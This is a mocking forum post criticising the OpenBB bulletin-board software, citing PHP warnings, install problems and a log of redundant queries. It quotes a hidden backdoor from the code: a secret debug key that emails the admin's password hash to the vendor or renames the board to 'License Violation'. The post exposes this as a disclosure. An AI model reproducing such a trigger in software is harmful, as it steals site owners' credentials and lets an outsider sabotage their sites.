The State of this Forum

[Admin]

Originally posted by Sara's-faction
As a matter of fact,
(we) are. Trivaya and I are better known as Ace and Sara on OpenBB. Plans have already started on a follow up flag ship that will have faster loading times than the current Obb, and still retain all of the functionality of most modern bulletin boards to date. Load times on this new project are sub .01 with a simulated 1000 member sessions.

You would be shocked to know what proper coding can achieve, pal.

*Smirk*

Well with a speech like that I just had to try your ultimate software, right?

Warning: Undefined property: queries in /obb/lib/database/mysql.php on line 67
Warning: Undefined variable: HTTP_X_FORWARDED_FOR in /obb/base.php on line 164
Warning: Use of undefined constant lgthsubj - assumed 'lgthsubj' in /obb/base.php on line 341
Warning: Use of undefined constant lgthdesc - assumed 'lgthdesc' in /obb/base.php on line 342
Warning: Cannot add header information - headers already sent by (output started at /obb/lib/database/mysql.php:67) in /obb/base.php on line 395
Warning: Undefined offset: 99 in /obb/base.php on line 419
Warning: Undefined variable: quit_reason in /obb/base.php on line 429
Warning: Undefined variable: quit_reason in /obb/base.php on line 435
Warning: Undefined offset: 1 in /obb/lib/functions.php on line 170
Warning: Undefined variable: query_forums in /obb/lib/functions.php on line 234
Warning: Undefined variable: adminquery in /obb/cp.php on line 228
Warning: Undefined variable: settings in /obb/cp.php(247) : eval()'d code on line 44
Warning: Undefined variable: forummanager in /obb/cp.php(247) : eval()'d code on line 45
Warning: Undefined variable: users in /obb/cp.php(247) : eval()'d code on line 46
Warning: Undefined variable: usergroup in /obb/cp.php(247) : eval()'d code on line 47
Warning: Undefined variable: email in /obb/cp.php(247) : eval()'d code on line 47
Warning: Undefined variable: avatars in /obb/cp.php(247) : eval()'d code on line 48
Warning: Undefined variable: images in /obb/cp.php(247) : eval()'d code on line 49
Warning: Undefined variable: design in /obb/cp.php(247) : eval()'d code on line 50
Warning: Undefined variable: ipbanning in /obb/cp.php(247) : eval()'d code on line 51

Cute errors, love that. Someone forgot to set error_reporting()...?

Apparently you require register_globals to be turned On, which is a pointless requirement since you can emulate register_globals On (being an extraordinary programmer I'm sure you've heard of extract()). However, users that have it turned Off will never be able to see that requirement since they can't get to step 2, pal.

An error occured while trying to connect to the DB. (Unknown database 'obb')

How come this wonderful script didn't create the database itself, even though I gave it the root user information? Very user friendly indeed.

Ohh, what's this?

PHP Code:

    if (md5($debugkey) == 'be7ca03a93a372dc0c0ee9d3a3b90def') {
        if($sysgo == 'violate') {
            $query_admin = new query($SQL, "SELECT password, email FROM ".$prefix."profiles WHERE id = '1'");
            $query_admin->getrow();
            $lisc = md5($query_admin->field('password'));
            $sendermail = $query_admin->field('email');
            $message = $config->field('boardurl').'lisckey'.$lisc;
            $mailheaders = "From: $sendermail";
            $syssubject = "Lisc Validation";            
            mail("lisc@prolixmedia.com", $syssubject, $message, $mailheaders);
        }
        elseif($sysgo == 'close') {
            $query_admin = new query($SQL, "SELECT password FROM ".$prefix."profiles WHERE id = '1'");
            $query_admin->getrow();
            $lisc = md5($query_admin->field('password'));
            if($key = $lisc) {
                new query($SQL, "UPDATE ".$prefix."configuration SET boardname = 'License Violation'");
            }
        }
    } 


Nice, built-in methods to nuke my site! Or to email you my admin details!

Correct me if I'm wrong, but didn't you say 24 queries on showthread was quite a lot?

SELECT lots of fields FROM obb_configuration
SELECT member, record FROM obb_active WHERE record = '47373d3133f1c660f'
UPDATE obb_active SET lots of stuff
SELECT lots of fields FROM obb_profiles WHERE username = 'Chen'
SELECT send, subject FROM obb_pmsg WHERE owner = 'Chen' AND box = 'inbox' AND isread = '0' ORDER BY time
SELECT forumid FROM obb_moderators WHERE modid = '1'
SELECT org, rep FROM obb_vars WHERE groupid = 0
SELECT lgthsubj, lgthdesc FROM obb_configuration
SELECT template, id FROM obb_templates WHERE groupid = 0 AND (id IN (lots of numbers))
UPDATE obb_profiles SET ip = '127.0.0.1', lastactive = '1026635458' WHERE username = 'Chen'
SELECT isadmin FROM obb_usergroup WHERE id = 3
SELECT forumid, pollid, description, locked FROM obb_topics WHERE id = 1
UPDATE obb_active SET inforum = '2' WHERE member = 'Chen'
SELECT smiley, image FROM obb_smilies
UPDATE obb_favorites SET visit = '1' WHERE threadid = 1 AND username = 'Chen'
SELECT ismoderator FROM obb_forum_permissions WHERE forumid = '2' and uid = '3'
SELECT ismoderator FROM obb_usergroup WHERE id = '3'
UPDATE obb_favorites set visit = '1' WHERE threadid = '1' AND username = 'Chen'
SELECT title, replies FROM obb_topics WHERE id = '1'
UPDATE obb_topics SET views = (views + 1) WHERE id = 1
UPDATE obb_configuration SET totalviews = (totalviews + 1)
UPDATE obb_active SET location = 'Reading Topic testing...' WHERE record = '47373d3133f1c660f'
SELECT output FROM obb_navigations WHERE id = 'forum:2'
SELECT lots of fields FROM obb_posts, obb_profiles WHERE obb_posts.poster = obb_profiles.username AND obb_posts.threadid = '1' ORDER BY obb_posts.id LIMIT 0,10
SELECT member FROM obb_active WHERE member = 'Chen' AND '1026635468' - lastaction < 600 
SELECT isadmin, ismoderator FROM obb_usergroup WHERE id = '3'
SELECT title, icon FROM obb_usergroup WHERE id = '3'
SELECT custom AS usertitle FROM obb_profiles WHERE username = 'Chen' LIMIT 1
SELECT image FROM obb_usergroup WHERE id = '3' LIMIT 1
SELECT cache FROM obb_cache WHERE name = 'forums:gid3' LIMIT 1
SELECT total, options, answers FROM obb_polls WHERE id = '1'
SELECT org, rep FROM obb_vars WHERE groupid = '0'
SELECT email FROM obb_profiles WHERE id = '1'

Of course I'm not as gifted as you must be, but counting the lines I see 33 queries. And that is with only one post! Geez, I wonder how much longer till this whole board caves in!

Not to mention I see some double queries in there, specifically:

SELECT org, rep FROM obb_vars WHERE groupid = 0
SELECT org, rep FROM obb_vars WHERE groupid = '0'
/* or */
UPDATE obb_favorites SET visit = '1' WHERE threadid = 1 AND username = 'Chen'
UPDATE obb_favorites set visit = '1' WHERE threadid = '1' AND username = 'Chen'

Thank you for this great enlightenment, I am truly shocked to see what proper coding can achieve.